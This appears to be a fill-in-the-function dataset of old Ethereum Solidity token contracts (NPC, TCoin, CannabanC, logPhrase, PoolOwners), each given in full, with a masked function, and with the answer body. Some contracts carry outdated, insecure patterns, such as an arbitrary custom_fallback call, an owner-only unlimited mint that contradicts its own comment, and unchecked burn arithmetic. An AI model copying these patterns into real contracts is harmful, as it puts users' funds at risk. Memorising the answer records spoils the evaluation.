_to, _value); return true; } function burn(uint256 _value) returns (bool success) { if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough if (_value <= 0) throw; balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender totalSupply = SafeMath.safeSub(totalSupply,_value); // Updates totalSupply Burn(msg.sender, _value); return true; } function freeze(uint256 _value) returns (bool success) { if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough if (_value <= 0) throw; balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value); // Updates totalSupply Freeze(msg.sender, _value); return true; } function unfreeze(uint256 _value) returns (bool success) { if (freezeOf[msg.sender] < _value) throw; // Check if the sender has enough if (_value <= 0) throw; freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value); // Subtract from the sender balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value); Unfreeze(msg.sender, _value); return true; } // transfer balance to owner function withdrawEther(uint256 amount) { if(msg.sender != owner)throw; owner.transfer(amount); } // can accept ether function() payable { } }
contract NPC is SafeMath{ string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; address public owner; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; mapping (address => uint256) public freezeOf; mapping (address => mapping (address => uint256)) public allowance; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); /* This notifies clients about the amount burnt */ event Burn(address indexed from, uint256 value); /* This notifies clients about the amount frozen */ event Freeze(address indexed from, uint256 value); /* This notifies clients about the amount unfrozen */ event Unfreeze(address indexed from, uint256 value); <FILL_FUNCTION> /* Send coins */ function transfer(address _to, uint256 _value) { if (_to == 0x0) throw; // Prevent transfer to 0x0 address. Use burn() instead if (_value <= 0) throw; if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place } /* Allow another contract to spend some tokens in your behalf */ function approve(address _spender, uint256 _value) returns (bool success) { if (_value <= 0) throw; allowance[msg.sender][_spender] = _value; return true; } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (_to == 0x0) throw; // Prevent transfer to 0x0 address. Use burn() instead if (_value <= 0) throw; if (balanceOf[_from] < _value) throw; // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows if (_value > allowance[_from][msg.sender]) throw; // Check allowance balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); // Subtract from the sender balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } function burn(uint256 _value) returns (bool success) { if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough if (_value <= 0) throw; balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender totalSupply = SafeMath.safeSub(totalSupply,_value); // Updates totalSupply Burn(msg.sender, _value); return true; } function freeze(uint256 _value) returns (bool success) { if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough if (_value <= 0) throw; balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value); // Updates totalSupply Freeze(msg.sender, _value); return true; } function unfreeze(uint256 _value) returns (bool success) { if (freezeOf[msg.sender] < _value) throw; // Check if the sender has enough if (_value <= 0) throw; freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value); // Subtract from the sender balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value); Unfreeze(msg.sender, _value); return true; } // transfer balance to owner function withdrawEther(uint256 amount) { if(msg.sender != owner)throw; owner.transfer(amount); } // can accept ether function() payable { } }
balanceOf[msg.sender] = 210000000000000; // Give the creator all initial tokens totalSupply = 210000000000000; // Update total supply name = 'Nebulas payment coin'; // Set the name for display purposes symbol = 'NPC'; // Set the symbol for display purposes decimals = 6; // Amount of decimals for display purposes owner = msg.sender;
function NPC( )
/* Initializes contract with initial supply tokens to the creator of the contract */ function NPC( )
525
CL
mintToken
contract CL is ERC223, SafeMath { string public name = "TCoin"; string public symbol = "TCoin"; uint8 public decimals = 8; uint256 public totalSupply = 10000 * 10**2; address public owner; address public admin; // bool public unlocked = false; bool public tokenCreated = false; mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; function admined(){ admin = msg.sender; } // Initialize to have owner have 100,000,000,000 CL on contract creation // Constructor is called only once and can not be called again (Ethereum Solidity specification) function CL() public { // Ensure token gets created once only require(tokenCreated == false); tokenCreated = true; owner = msg.sender; balances[owner] = totalSupply; // Final sanity check to ensure owner balance is greater than zero require(balances[owner] > 0); } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyAdmin(){ require(msg.sender == admin) ; _; } function transferAdminship(address newAdmin) onlyAdmin { admin = newAdmin; } // Function to distribute tokens to list of addresses by the provided amount // Verify and require that: // - Balance of owner cannot be negative // - All transfers can be fulfilled with remaining owner balance // - No new tokens can ever be minted except originally created 100,000,000,000 function distributeAirdrop(address[] addresses, uint256 amount) onlyOwner public { // Only allow undrop while token is locked // After token is unlocked, this method becomes permanently disabled //require(unlocked); // Amount is in Wei, convert to CL amount in 8 decimal places uint256 normalizedAmount = amount * 10**8; // Only proceed if there are enough tokens to be distributed to all addresses // Never allow balance of owner to become negative require(balances[owner] >= safeMul(addresses.length, normalizedAmount)); for (uint i = 0; i < addresses.length; i++) { balances[owner] = safeSub(balanceOf(owner), normalizedAmount); balances[addresses[i]] = safeAdd(balanceOf(addresses[i]), normalizedAmount); Transfer(owner, addresses[i], normalizedAmount); } } // Function to access name of token .sha function name() constant public returns (string _name) { return name; } // Function to access symbol of token . function symbol() constant public returns (string _symbol) { return symbol; } // Function to access decimals of token . function decimals() constant public returns (uint8 _decimals) { return decimals; } // Function to access total supply of tokens . function totalSupply() constant public returns (uint256 _totalSupply) { return totalSupply; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { // Only allow transfer once unlocked // Once it is unlocked, it is unlocked forever and no one can lock again // require(unlocked); if (isContract(_to)) { if (balanceOf(msg.sender) < _value) { revert(); } balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.call.value(0)(bytes4(sha3(_custom_fallback)), msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); return true; } else { return transferToAddress(_to, _value, _data); } } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data) public returns (bool success) { // Only allow transfer once unlocked // Once it is unlocked, it is unlocked forever and no one can lock again // require(unlocked); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC223 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint _value) public returns (bool success) { // Only allow transfer once unlocked // Once it is unlocked, it is unlocked forever and no one can lock again //require(unlocked); //standard function transfer similar to ERC223 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) { revert(); } balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); Transfer(msg.sender, _to, _value, _data); return true; } // function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) { revert(); } balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); return true; } // Get balance of the address provided function balanceOf(address _owner) constant public returns (uint256 balance) { return balances[_owner]; } // Creator/Owner can unlocked it once and it can never be locked again // Use after airdrop is complete /* function unlockForever() onlyOwner public { unlocked = true; }*/ // Allow transfers if the owner provided an allowance // Prevent from any transfers if token is not yet unlocked // Use SafeMath for the main logic function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { // Only allow transfer once unlocked // Once it is unlocked, it is unlocked forever and no one can lock again //require(unlocked); // Protect against wrapping uints. require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]); uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] = safeAdd(balanceOf(_to), _value); balances[_from] = safeSub(balanceOf(_from), _value); if (allowance < MAX_UINT256) { allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value); } Transfer(_from, _to, _value); return true; } function mintToken(address target, uint256 mintedAmount) onlyOwner{<FILL_FUNCTION_BODY> } function burn(uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } }
contract CL is ERC223, SafeMath { string public name = "TCoin"; string public symbol = "TCoin"; uint8 public decimals = 8; uint256 public totalSupply = 10000 * 10**2; address public owner; address public admin; // bool public unlocked = false; bool public tokenCreated = false; mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; function admined(){ admin = msg.sender; } // Initialize to have owner have 100,000,000,000 CL on contract creation // Constructor is called only once and can not be called again (Ethereum Solidity specification) function CL() public { // Ensure token gets created once only require(tokenCreated == false); tokenCreated = true; owner = msg.sender; balances[owner] = totalSupply; // Final sanity check to ensure owner balance is greater than zero require(balances[owner] > 0); } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyAdmin(){ require(msg.sender == admin) ; _; } function transferAdminship(address newAdmin) onlyAdmin { admin = newAdmin; } // Function to distribute tokens to list of addresses by the provided amount // Verify and require that: // - Balance of owner cannot be negative // - All transfers can be fulfilled with remaining owner balance // - No new tokens can ever be minted except originally created 100,000,000,000 function distributeAirdrop(address[] addresses, uint256 amount) onlyOwner public { // Only allow undrop while token is locked // After token is unlocked, this method becomes permanently disabled //require(unlocked); // Amount is in Wei, convert to CL amount in 8 decimal places uint256 normalizedAmount = amount * 10**8; // Only proceed if there are enough tokens to be distributed to all addresses // Never allow balance of owner to become negative require(balances[owner] >= safeMul(addresses.length, normalizedAmount)); for (uint i = 0; i < addresses.length; i++) { balances[owner] = safeSub(balanceOf(owner), normalizedAmount); balances[addresses[i]] = safeAdd(balanceOf(addresses[i]), normalizedAmount); Transfer(owner, addresses[i], normalizedAmount); } } // Function to access name of token .sha function name() constant public returns (string _name) { return name; } // Function to access symbol of token . function symbol() constant public returns (string _symbol) { return symbol; } // Function to access decimals of token . function decimals() constant public returns (uint8 _decimals) { return decimals; } // Function to access total supply of tokens . function totalSupply() constant public returns (uint256 _totalSupply) { return totalSupply; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { // Only allow transfer once unlocked // Once it is unlocked, it is unlocked forever and no one can lock again // require(unlocked); if (isContract(_to)) { if (balanceOf(msg.sender) < _value) { revert(); } balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.call.value(0)(bytes4(sha3(_custom_fallback)), msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); return true; } else { return transferToAddress(_to, _value, _data); } } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data) public returns (bool success) { // Only allow transfer once unlocked // Once it is unlocked, it is unlocked forever and no one can lock again // require(unlocked); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC223 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint _value) public returns (bool success) { // Only allow transfer once unlocked // Once it is unlocked, it is unlocked forever and no one can lock again //require(unlocked); //standard function transfer similar to ERC223 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) { revert(); } balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); Transfer(msg.sender, _to, _value, _data); return true; } // function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) { revert(); } balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); return true; } // Get balance of the address provided function balanceOf(address _owner) constant public returns (uint256 balance) { return balances[_owner]; } // Creator/Owner can unlocked it once and it can never be locked again // Use after airdrop is complete /* function unlockForever() onlyOwner public { unlocked = true; }*/ // Allow transfers if the owner provided an allowance // Prevent from any transfers if token is not yet unlocked // Use SafeMath for the main logic function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { // Only allow transfer once unlocked // Once it is unlocked, it is unlocked forever and no one can lock again //require(unlocked); // Protect against wrapping uints. require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]); uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] = safeAdd(balanceOf(_to), _value); balances[_from] = safeSub(balanceOf(_from), _value); if (allowance < MAX_UINT256) { allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value); } Transfer(_from, _to, _value); return true; } <FILL_FUNCTION> function burn(uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } }
balances[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount);
function mintToken(address target, uint256 mintedAmount) onlyOwner
function mintToken(address target, uint256 mintedAmount) onlyOwner
24,572
CannabanC
CannabanC
contract CannabanC is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function CannabanC() public {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract CannabanC is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; <FILL_FUNCTION> // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
symbol = "CBC"; name = "CannabanC"; decimals = 18; _totalSupply = 400000000000000000000000000; balances[0xcefa641734fd5d409fbe973a89e333d3b2a6f660] = _totalSupply; emit Transfer(address(0), 0xcefa641734fd5d409fbe973a89e333d3b2a6f660, _totalSupply);
function CannabanC() public
// ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function CannabanC() public
4,787
logPhrase
logSigned
contract logPhrase { address owner = msg.sender; //unique 16 bytes signatures and corresponding addresses mapping (bytes16 => address) signatures; //cost to by a signature (and get your address into the mapping) uint128 constant minimumPayment = 0.001 ether; function logPhrase() payable public { } function () payable public { //Donations are welcome. They go to the owner. address contractAddr = this; owner.transfer(contractAddr.balance); } //The signed logs are indexed event Spoke(bytes16 indexed signature, string phrase); //unsigned log function logUnsigned(bytes32 phrase) public { log0(phrase); } //signed log function logSigned(string phrase, bytes16 sign) public {<FILL_FUNCTION_BODY> } //buy a 16 bytes signature for 0.001 ETH function buySignature(bytes16 sign) payable public { //signatures are unique require(msg.value > minimumPayment && signatures[sign]==0); signatures[sign]=msg.sender; //we got a new signer address contractAddr = this; owner.transfer(contractAddr.balance); //thanks } //query whois the owner address of the signature function getAddress(bytes16 sign) public returns (address) { return signatures[sign]; } }
contract logPhrase { address owner = msg.sender; //unique 16 bytes signatures and corresponding addresses mapping (bytes16 => address) signatures; //cost to by a signature (and get your address into the mapping) uint128 constant minimumPayment = 0.001 ether; function logPhrase() payable public { } function () payable public { //Donations are welcome. They go to the owner. address contractAddr = this; owner.transfer(contractAddr.balance); } //The signed logs are indexed event Spoke(bytes16 indexed signature, string phrase); //unsigned log function logUnsigned(bytes32 phrase) public { log0(phrase); } <FILL_FUNCTION> //buy a 16 bytes signature for 0.001 ETH function buySignature(bytes16 sign) payable public { //signatures are unique require(msg.value > minimumPayment && signatures[sign]==0); signatures[sign]=msg.sender; //we got a new signer address contractAddr = this; owner.transfer(contractAddr.balance); //thanks } //query whois the owner address of the signature function getAddress(bytes16 sign) public returns (address) { return signatures[sign]; } }
//can only be called by the owner of the signature require (signatures[sign]==msg.sender); //check valid address Spoke(sign, phrase);
function logSigned(string phrase, bytes16 sign) public
//signed log function logSigned(string phrase, bytes16 sign) public
42,767
PoolOwners
setDistributionMinimum
contract PoolOwners is Ownable { mapping(uint64 => address) private ownerAddresses; mapping(address => bool) private whitelist; mapping(address => uint256) public ownerPercentages; mapping(address => uint256) public ownerShareTokens; mapping(address => uint256) public tokenBalance; mapping(address => mapping(address => uint256)) private balances; uint64 public totalOwners = 0; uint16 public distributionMinimum = 20; bool private contributionStarted = false; bool private distributionActive = false; // Public Contribution Variables uint256 private ethWei = 1000000000000000000; // 1 ether in wei uint256 private valuation = ethWei * 4000; // 1 ether * 4000 uint256 private hardCap = ethWei * 1000; // 1 ether * 1000 address private wallet; bool private locked = false; uint256 public totalContributed = 0; // The contract hard-limit is 0.04 ETH due to the percentage precision, lowest % possible is 0.001% // It's been set at 0.2 ETH to try and minimise the sheer number of contributors as that would up the distribution GAS cost uint256 private minimumContribution = 200000000000000000; // 0.2 ETH /** Events */ event Contribution(address indexed sender, uint256 share, uint256 amount); event TokenDistribution(address indexed token, uint256 amount); event TokenWithdrawal(address indexed token, address indexed owner, uint256 amount); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner, uint256 amount); /** Modifiers */ modifier onlyWhitelisted() { require(whitelist[msg.sender]); _; } /** Contribution Methods */ // Fallback, redirects to contribute function() public payable { contribute(msg.sender); } function contribute(address sender) internal { // Make sure the shares aren't locked require(!locked); // Ensure the contribution phase has started require(contributionStarted); // Make sure they're in the whitelist require(whitelist[sender]); // Assert that the contribution is above or equal to the minimum contribution require(msg.value >= minimumContribution); // Make sure the contribution isn't above the hard cap require(hardCap >= msg.value); // Ensure the amount contributed is cleanly divisible by the minimum contribution require((msg.value % minimumContribution) == 0); // Make sure the contribution doesn't exceed the hardCap require(hardCap >= SafeMath.add(totalContributed, msg.value)); // Increase the total contributed totalContributed = SafeMath.add(totalContributed, msg.value); // Calculated share uint256 share = percent(msg.value, valuation, 5); // Calculate and set the contributors % holding if (ownerPercentages[sender] != 0) { // Existing contributor ownerShareTokens[sender] = SafeMath.add(ownerShareTokens[sender], msg.value); ownerPercentages[sender] = SafeMath.add(share, ownerPercentages[sender]); } else { // New contributor ownerAddresses[totalOwners] = sender; totalOwners += 1; ownerPercentages[sender] = share; ownerShareTokens[sender] = msg.value; } // Transfer the ether to the wallet wallet.transfer(msg.value); // Fire event emit Contribution(sender, share, msg.value); } // Add a wallet to the whitelist function whitelistWallet(address contributor) external onlyOwner() { // Is it actually an address? require(contributor != address(0)); // Add address to whitelist whitelist[contributor] = true; } // Start the contribution function startContribution() external onlyOwner() { require(!contributionStarted); contributionStarted = true; } /** Public Methods */ // Set the owners share per owner, the balancing of shares is done externally function setOwnerShare(address owner, uint256 value) public onlyOwner() { // Make sure the shares aren't locked require(!locked); if (ownerShareTokens[owner] == 0) { whitelist[owner] = true; ownerAddresses[totalOwners] = owner; totalOwners += 1; } ownerShareTokens[owner] = value; ownerPercentages[owner] = percent(value, valuation, 5); } // Non-Standard token transfer, doesn't confine to any ERC function sendOwnership(address receiver, uint256 amount) public onlyWhitelisted() { // Require they have an actual balance require(ownerShareTokens[msg.sender] > 0); // Require the amount to be equal or less to their shares require(ownerShareTokens[msg.sender] >= amount); // Deduct the amount from the owner ownerShareTokens[msg.sender] = SafeMath.sub(ownerShareTokens[msg.sender], amount); // Remove the owner if the share is now 0 if (ownerShareTokens[msg.sender] == 0) { ownerPercentages[msg.sender] = 0; whitelist[receiver] = false; } else { // Recalculate percentage ownerPercentages[msg.sender] = percent(ownerShareTokens[msg.sender], valuation, 5); } // Add the new share holder if (ownerShareTokens[receiver] == 0) { whitelist[receiver] = true; ownerAddresses[totalOwners] = receiver; totalOwners += 1; } ownerShareTokens[receiver] = SafeMath.add(ownerShareTokens[receiver], amount); ownerPercentages[receiver] = SafeMath.add(ownerPercentages[receiver], percent(amount, valuation, 5)); emit OwnershipTransferred(msg.sender, receiver, amount); } // Lock the shares so contract owners cannot change them function lockShares() public onlyOwner() { require(!locked); locked = true; } // Distribute the tokens in the contract to the contributors/creators function distributeTokens(address token) public onlyWhitelisted() { // Is this method already being called? require(!distributionActive); distributionActive = true; // Get the token address ERC677 erc677 = ERC677(token); // Has the contract got a balance? uint256 currentBalance = erc677.balanceOf(this) - tokenBalance[token]; require(currentBalance > ethWei * distributionMinimum); // Add the current balance on to the total returned tokenBalance[token] = SafeMath.add(tokenBalance[token], currentBalance); // Loop through stakers and add the earned shares // This is GAS expensive, but unless complex more bug prone logic was added there is no alternative // This is due to the percentages needed to be calculated for all at once, or the amounts would differ for (uint64 i = 0; i < totalOwners; i++) { address owner = ownerAddresses[i]; // If the owner still has a share if (ownerShareTokens[owner] > 0) { // Calculate and transfer the ownership of shares with a precision of 5, for example: 12.345% balances[owner][token] = SafeMath.add(SafeMath.div(SafeMath.mul(currentBalance, ownerPercentages[owner]), 100000), balances[owner][token]); } } distributionActive = false; // Emit the event emit TokenDistribution(token, currentBalance); } // Withdraw tokens from the owners balance function withdrawTokens(address token, uint256 amount) public { // Can't withdraw nothing require(amount > 0); // Assert they're withdrawing what is in their balance require(balances[msg.sender][token] >= amount); // Substitute the amounts balances[msg.sender][token] = SafeMath.sub(balances[msg.sender][token], amount); tokenBalance[token] = SafeMath.sub(tokenBalance[token], amount); // Transfer the tokens ERC677 erc677 = ERC677(token); require(erc677.transfer(msg.sender, amount) == true); // Emit the event emit TokenWithdrawal(token, msg.sender, amount); } // Sets the minimum balance needed for token distribution function setDistributionMinimum(uint16 minimum) public onlyOwner() {<FILL_FUNCTION_BODY> } // Sets the contribution ETH wallet function setEthWallet(address _wallet) public onlyOwner() { wallet = _wallet; } // Is an account whitelisted? function isWhitelisted(address contributor) public view returns (bool) { return whitelist[contributor]; } // Get the owners token balance function getOwnerBalance(address token) public view returns (uint256) { return balances[msg.sender][token]; } /** Private Methods */ // Credit to Rob Hitchens: https://stackoverflow.com/a/42739843 function percent(uint numerator, uint denominator, uint precision) private pure returns (uint quotient) { uint _numerator = numerator * 10 ** (precision+1); uint _quotient = ((_numerator / denominator) + 5) / 10; return ( _quotient); } }
contract PoolOwners is Ownable { mapping(uint64 => address) private ownerAddresses; mapping(address => bool) private whitelist; mapping(address => uint256) public ownerPercentages; mapping(address => uint256) public ownerShareTokens; mapping(address => uint256) public tokenBalance; mapping(address => mapping(address => uint256)) private balances; uint64 public totalOwners = 0; uint16 public distributionMinimum = 20; bool private contributionStarted = false; bool private distributionActive = false; // Public Contribution Variables uint256 private ethWei = 1000000000000000000; // 1 ether in wei uint256 private valuation = ethWei * 4000; // 1 ether * 4000 uint256 private hardCap = ethWei * 1000; // 1 ether * 1000 address private wallet; bool private locked = false; uint256 public totalContributed = 0; // The contract hard-limit is 0.04 ETH due to the percentage precision, lowest % possible is 0.001% // It's been set at 0.2 ETH to try and minimise the sheer number of contributors as that would up the distribution GAS cost uint256 private minimumContribution = 200000000000000000; // 0.2 ETH /** Events */ event Contribution(address indexed sender, uint256 share, uint256 amount); event TokenDistribution(address indexed token, uint256 amount); event TokenWithdrawal(address indexed token, address indexed owner, uint256 amount); 